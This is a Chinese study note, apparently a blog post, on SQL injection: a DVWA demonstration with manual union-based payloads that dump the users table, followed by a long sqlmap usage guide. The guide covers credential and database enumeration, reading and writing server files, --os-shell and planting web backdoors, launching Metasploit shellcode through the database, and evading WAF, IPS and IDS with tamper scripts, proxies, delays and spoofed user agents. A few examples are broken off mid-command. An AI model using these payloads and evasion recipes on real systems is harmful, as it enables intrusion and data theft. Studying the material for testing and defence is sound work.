SQL注入理解笔记

nosql注入让注入问题又回到2000年代安全

其他注入问题:

命令行注入、LADP注入、XML注入、SSI注入、Xpath注入、IMAP/SMTP注入、代码注入

SQL注入:

web应用代码中的漏洞

黑客可以构造特殊请求,使web应用执行带有附加条件的SQL语句

通过特殊请求,web应用向数据库访问时会带有其他命令

SQL注入漏洞对于数据安全的影响

1. 可读取/修改数据库中的库和表

2. 可执行系统命令

拿dvwa 的sql做演示

当 输入2’ ‘1’=’1 时候出现五个用户

sql注入漏洞方法:

正常登陆:

点击submit,web应用会执行:

1. 接受发送的post请求

2. 获取用户名和密码:(bart,simpson)

3. 构建sql语句:select * from users where username = ‘bart’ and password = ‘simpson’;

4. 发送给和数据库服务器来验证。

这个时候进行变化:

1. 输入的用户名不是简单的bart而是bart’ and 1=1;--

2. 这时整个语句变成:select * from users where username = ‘bart’ and 1=1; --’ and password =’simpson’;

3. 这个时候,--后面的都会变成注释,不用密码就能进行登陆。

 

SQL注入类型:

简单注入:

永真式:最后加入or 1=1来保证无论如何都能获取数据。

错误语句:让web应用构造错误的SQL语句来抛异常,来判断数据库类型

结束注释:使用注释符注释剩余语句

联合查询:使用union all,后面可以写我要查询的真正语句。

盲注:

一般我们可以根据返回数据获取我们想要的信息

但一些页面,我们是获取不到详细信息,信息只有正确或不正确

各个数据库的注入方式:

注释符:--(mssql、mysql),#(mysql),/*comment*/(myql)

单行用分号隔开,运行多个sql语句:mssql

判断(IF,ELSE语句)

mysql:IF(condition,true-part,false-part) SELECT IF(1=1,’true’,’false’)

mssql:IF condition true-part ELSE false-part IF(1=1)SELECT ‘true’ ELSE SELECT ‘false’

Oracle:BEGIN IF condition lock.sleep(3);ELSE dbms lock.sleep(0);END IF; END;

字符串链接:

mssql:+ mysql,oracl:||

 

1. 手工查找注入点:

1. 1    #正常访问

2. 1' and 1=1; # 是不是跟正常结果一样

3. 1' and 1=2; # 是不是没有结果

4. 1' order by 1,2; # 猜列数

5. 1' and 1=2 union all select 1, 2; # 查看是否可以使用union all

6. 1' and 1=2 union all select 1, database(); #  获取当前数据库

7. 1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from information_schema.tables where table_schema = 'dvwa'; # 查看当前数据库里有什么样的表

8. 1' and 1=2 union all select TABLE_NAME, COLUMN_NAME from information_schema.columns where table_name = 'users'; # 查看users数据表有什么列

9. 1' and 1=2 union all select user, password from users; #

 

sql注入测试工具:

sqlmap:功能强大、界面不友好

AWVS/APPScan/Webinspect:可以查找各种类型的漏洞、速度较慢

sqlmap支持的注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。(适合用于通过循环直接输出联合查询结果,否则只会显示第一项结果)

5、堆查询注入,可以同时执行多条语句的执行时的注入。

 

sqlmap请求

get方法

对于get的请求,比较简单,直接指定目标

-d: 直接连接数据库 (-d "mysql://user:passward@地址:端口/数据库名称")

-u:指定url  (?id=1)

-m:将多个url保存成文件,传给sqlmap (sqlmap -m list.txt)

-r:将http头信息保存到文件,交给sqlmap

-g:google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义

-p :只想检查的变量

-f :指纹

--users:数据库帐号

--banner:数据库信息

--dbs:有哪些数据库

-a:all

get请求应该是大家所熟悉的,sqlmap - u直接加URL,参数就可以了

post方法

post和get的区别,在之前的http详解中也详细的列了表单解释,直接明显的区别,可以查看有没有将我们输入的值放入URL中。

下面介绍几种对于post请求的sqlmap注入。

.使用http请求文件

可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)

  1. 使用burpsuite log文件 (勾选上options中的Misc中的proxy)

3.HTTPS

sqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。

sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

三、 HTTP数据

1、数据段: -data

  get/post都适用

对于post还可以使用链接并将post抓取的源代码用--data,并输入抓取的源代码

sqlmap -u http://"链接" --data="post请求抓取的源代码" --dbs,常用于post请求。

2、cookie头  

--cookie

web应用基于cookie的身份验证,对于post请求,可以指定cookie

sqlmap -u "url" --cookie="..." --level 2 --dbs

需要注意的是,当level默认为1的时候,默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容

sqlmap -u "http://www.test.com"  --cookie="CNZZDATA3568186=cnzz_eid%3D1227930120-1395711655-%26ntime%3D1395799625%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D1395799604656%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3D144071239-1395711655-%26ntime%3D1395799624%26cnzz_a" -p ”CNZZDATA3834609“ --data ""  --level 2

 

当需要对cookie注入的时候,必须使用--cookie选项,--data "" 因为post的数据长度为0,但是又想使用post方法进行注入,则使用--data "",使用--data选项后,sqlmap自动使用post方法,sqlmap不支持使用--method指定http请求方法

 

3、其他的http头

--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息,我们可以手动指定伪造一个。

--random-agent 随机产生user-agent头,也不是随机,是从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息

sqlmap -u "..." --cookie="..." --level 2  --random-agent --dbs

--user-agent="aaaaa"

sqlmap 检查uesr-agent中的注入点,  lever>=3才会去检查user-agent头是否存在注入漏洞

4、host头

Host请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的

 

--host  level=5host存在注入的漏洞情况比较少,同时也不建议把级别设置成5

--host="aaaaaa",每次HOST请求时都会变成一串a

5、referer头 

原来所处的页面的url,可通过--referer来指定

--referer  level>=3,才会对referer头进行检测

如:--referer=“aaaa”

6、额外的自定义的header

--headers

每个头单独一行,可以使用\n来换行(名称区分大小写)

四、身份验证

1、基于HTTP协议的身份验证

 

Basic    基本身份验证

Digest   摘要式身份认证

NTLM     NTLM身份验证(windows)

 

sqlmap -u "..."  --auth-type Basic --auth-cred "user:pass" ,指明验证类型为Basic,并说明用户名和密码

 

 

2、基于客户端证书(比较少见,在以前的网银中比较常见) 

Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

--auth-cert(官方文档)  /auth-file(sqlmap中-hh所显示的参数)

   

如:--auth-file="ca.PEM",含有私钥的PEM格式证书文件或PEM格式的证书链文件

 

 

 

3、http(s)代理

主动请求时会被记录,被发现屏蔽,这时我们需要个代理,就用到了--proxy参数了。

--proxy="http://127.0.0.1:8087"

--proxy-cred="name:pass"  需做身份验证时

--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)

 

五、sqlmap使用技巧

1、HTTP请求延迟

发送量过大的话,会引起waf等发现,

--delay  每次http(s)请求之间延迟时间,浮点数,单位为妙,默认无延迟,输入此参数,你会发现每个请求都会延迟3秒,当然数据库还是可以爆出来的。

2、 设置请求超时时间

若客户端一直未收到服务器返回的值,就一直等着,所以需要个请求超时时间

--timeout  请求超时时间,浮点数,默认30秒

3、设定重试时间

--retries  http(s)连接超时重传次数,默认3次

4、设定随记改变的参数值

--randomize

长度、类型与原始值保持一致的前提下,值当每次请求随记取值的参数名

sqlmap -u http://1.1.1.1/a.php?id=1 --randomize="id"

5、利用正则表达式过滤目标网址

--scope  使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入

过滤 日志内容,通过正则表达式筛选扫描对象

sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)"

sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)"

6、避免过多的错误请求被屏蔽

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。常见情况是在检测盲注阶段会产生大量失败请求,当产生大量错误请求后,服务器端可能因此销毁session

 绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。

2--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

7、关掉URL参数值编码

--skip-urlencode 默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据

8、每次请求时候执行自定义的python代码

--eval每次请求前执行指定的python代码

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

每次请求更改或增加新的参数值(时间依赖,其他参数值依赖)

sqlmap -u http://1.1.1.1/a.php?id=1&hash=..." --eval="

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f

 

六、OPTIMIZATION优化性能

-o  开启三个性能参数(除--threads)

--predict-output  

根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率

版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名

--threads参数不兼容

统计表路径:/usr/share/sqlmap/txt/common-outputs.txt

 

--keep-alive  使用http(s)长连接,性能好,与--proxy参数不兼容

 

--null-conection

只获取响应页面的大小值,而非页面具体内容能够

通常用于盲注判断真/假,降低网络带宽消耗

--text-only参数不兼容(基于页面内容的比较判断真/假)

 

--threads=THREADS

最大并发线程

盲注时每个线程获取一个字符(7此请求),获取完成后线程结束

默认为1,建议不要超过10,否则可能影响站点可用性

--predict-output参数不兼容

七、注入

1、指定测试的参数

-P  

sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

指定扫描的参数,也可指定变量名称,使--level失效

2、

排除测试的参数

--skip  

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。排错指定的扫描参数,不指定的默认会对全部扫描,然后根据level级别对http头扫描

如:--level=5 --skip="id,uesr-agent"

3、指定数据库

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,但是你如果已经知道的目标是什么数据库了,可以使用--dbms指定数据库节省时间了,提高工作效率了

 

--dbms  不仅可以指定数据库类型,还可以指定数据库版本

--dbms="mysql"

4、指定数据库服务器系统

--os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

Linux

Windows

5、指定无效的大数字

--invalid-bignum  /--invalid-logical

默认情况下sqlmap使用负值使参数失效 id=13->id=-13

bignum使用大数使参数值失效 id=999999

6、指定无效的逻辑

logical使用布尔判断使值失效 id=3 and 1=2

7、--no-cast

sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果

老版本mysql数据库需要开启此开关

8、--no-escape  

不逃逸,关闭使用char替换字符串功能

出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串

select 'foo' ->select char(102)+char(111)+char(111)

 

9、注入payload

--prefix /--sufix  在有些测试时,在构造pylaold需要构造闭合语句,才能实现最后注入的成功

--prefix是加前缀

--sufix加后缀

eg:

sqlmap -u "http://192.168.1.1/a.php?id=1" --prefix"')" --suffix "and ('1'='1"

 

10、脚本

--tamper

混淆脚本,用于绕过应用层过滤、IPS、WAF

dpkg -L sqlmap | grep  tamper 查看脚本

 

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。

 

--tamper="脚本名称" 多个脚本用逗号隔开

11、探测等级

共有五个等级,默认为1,sqlmap使用的payload可以在/usr/share/sqlmap/xml/payloads中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

--level

12、风险等级

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload

--risk

1-4 (默认1无害)

risk升高可造成数据被篡改等风险 (update)

--string

--not-string

--regexp

--code

--text-only

--titles

 

 

八、注入技术

1、检测类型

检测存在sql注入的技术类型,默认会测试所有的方式。

B:Boolean-based-blind  (布尔型型注入)

E:Error-based   (报错型注入)

U:Union query-based  (联合注入)

S:Starked queries   (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind  (基于时间延迟注入)

 

 

 

2、设定延迟注入的时间

--time-sec

基于时间的注入检测响应延迟时间(默认5秒)

3、设定UNION查询字段数

--union-cols

默认联合查询1-10列,随-level增加最多支持50列

--time-sec 6-9,测试6-9个字段数

4、设定union查询使用的字符

-union-char

联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值 

--union-char 123

5、二阶sql注入

--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。

6、FINGERPRINT(指纹)

-f,--fingerprint 执行检查广泛的DBMS版本指纹 

 

-b,--banner

数据库管理系统指纹信息

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

 

 

7、 枚举参数

--current-user 当前数据库管理系统的帐号

--current-db  当前数据库的名称

--hostname   机器的主机名

--users         数据库管理系统所有的帐号  

--privileges   查看所有用户权限,加 -U username  指定用户名(CU 表示当前帐号)

--roles       角色

--dsb    查看所有的数据库

--tables,列举数据库表

--exclude-sysdbs  排除系统数据库

-T uesrs -D dvwa -C user -columns

--count  列举数据库表中的字段

--schema -batch 批处理,全部使用默认选项

--is-dba   判断当前的用户是否为管理,是的话会返回True。

--count   获取表中数据个数

 

 

8、伪静态

对于伪静态,只需在值前面加*即可

如:valuel/user  ->valuel*/user

 

 

 

9、暴力破解

对于用sql注入无法爆出的数据库内容,可以使用暴力破解尝试着爆出数据库的内容。

暴力破解表名

--common-tables

 

mysql<5.0,没有information schema库

mysql<=5.0,但无权限读取information schema库

 微软的access数据集,默认无权读取mysysobjects库

 

 

--common-columns 暴力破解列名

access系统表无列信息)

暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加。

 

 

10、用户自定义函数注入

参数:–udf-inject,–shared-lib

 

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

 

 

 

11、从数据库服务器中读取文件

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

--file-read   读取系统文件

--file-read="E:/eula.1028.txt"

把文件上传到数据库服务器中

--file-write

--file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"

 

2、运行任意操作系统命令

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

 

MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

 

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认止),sqlmap会重新启用它,如果不存在,会自动创建。

--sql-shell

--os-shell

--os-cmd

 

os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:

1ASP

2ASP.NET

3JSP

4PHP

 

 

 

 

 

 

九、常规参数

1.-s  sqlmap会话文件保

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

 

2.-t 记录流量文件保存位置

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

 

3.–-batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

 

 

4.强制使用字符编码

--charset 强制字符编码

  --charset=GBK

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定

5.爬行网站URL

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

--crawl  从起始位置爬站深度

  --batch--crawl=3

 

 

6.刷新session文件

--flush-session  清空session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

 

 

7.自动获取form表单测试

 –forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

 

8.忽略在会话文件中存储的查询结果

-fresh-quesries 忽略session查询结果

 

9.使用DBMS的hex函数

--hex  dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原

 

 

 

10.分析和现实数据库内建报错信息

--parse-errors  将会分析和现实数据库内建报错信息

 如:sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

 

 

 

 

 

十、杂项

1.参数助记符

-z 

如:sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1

 

 

2.检查是否waf/ips/ids (结尾会对如何绕过防火墙详细介绍)

--identify-waf彻底的waf检查,支持30多种产品

--check-waf 

首先--identify-waf

 

 

 

3.http parameter pollution

--hpp

绕过waf的有效方法,尤其对asp/iis和asp.net、iis

 

 

 

4.设定会发的答案

–answers  (这个参数....)

 当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数

如:sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch

 

 

5.发现SQL注入时发出蜂鸣声

 –beep

 发现sql注入时,发出蜂鸣声。

 

 

6.模拟智能设备

--mobile 

 

7.清空output文件夹

--purge-output  

 

8.只选择基于错误的检测结果

--smart 当

有大量检测目标时,只选择基于错误的检测结果

 

 

9.初级用户向导参数

--wizard 向导,会一步一步引导你填入参数进行注入。

 

 

10.自定义输出的路径

 –output-dir

 sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp

 

 

 

 

十一.Meterpreter配合使用

 

–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

 

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与***者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它: 

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。

2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。

3、通过SMB***(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。

4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

 

 

十二、如何用sqlmap绕过防火墙

 现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。

 

1.确认WAF

 首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS

sqlmap -u "所要测试的url" --thread 10 --identify-waf     首选

 

sqlmap -u "所要测试的url" --thread 10  --check-waf      备选

 

 

2.使用参数绕过

sqlmap -u "所要测试的url" --random-agent -v 2  使用任意浏览器进行绕过,尤其是在WAF配置不当的时候

sqlmap -u "所要测试的url" --hpp -v 3 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上

sqlmap -u "所要测试的url"  --delay=3 --time-sec=60 使用长的延时来避免触发WAF的机制,这方式比较耗时

sqlmap -u "所要测试的url" proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理进行注入等

 

3.使用脚本

sqlmap -u "所要测试的url" --tamper=A.py,B.py

 

脚本种类及作用:

apostrophemask.py  用utf8代替引号

equaltolike.py    MSSQL * SQLite中like 代替等号

 

greatest.py  MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

 

apostrophenullencode.py   MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

 

space2morehash.py  MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p   Microsoft Access在有效负荷结束位置加载零字节字符编码

 

ifnull2ifisnull.py        MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py(mssql)   mssql空格替换为其它空符号

 

base64encode.py     用base64编码

space2mssqlhash.py   mssql查询中替换空格

 

modsecurityversioned.py   mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py      mysql中空格替换其它空白符号

 

 

between.py        MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py   MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

 

multiplespaces.py    围绕SQL关键字添加多个空格

space2plus.py       用+替换空格

 

bluecoat.py        MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

 

space2randomblank.py   代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py       追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

 

chardoubleencode.py   双url编码(不处理以编码的)

unionalltounion.py   替换UNION ALL SELECT UNION SELECT

 

charencode.py       Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py       Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

 

unmagicquotes.py     宽字符绕过 GPC addslashes

randomcomments.py    用/**/分割sql关键字

 

charunicodeencode.py   ASP,ASP.NET中字符串 unicode 编码

securesphere.py      追加特制的字符串

 

versionedmorekeywords.py     MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py  MySQL < 5.1中关键字前加注释

 

 

4.脚本参数组合策略绕过

sqlmap -u "所要测试的url" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

 

sqlmap -u "所要测试的url" --user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

 

因为WAF可能采用白名单规则,所以对于选择哪种策略,重点是根据-v 3 提示的信息进行判断,可以抓取主流的浏览器的user-agent ,s适当的延时,加上注入字符转换---大小写、空格、字符串、注释、加密等等方式

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值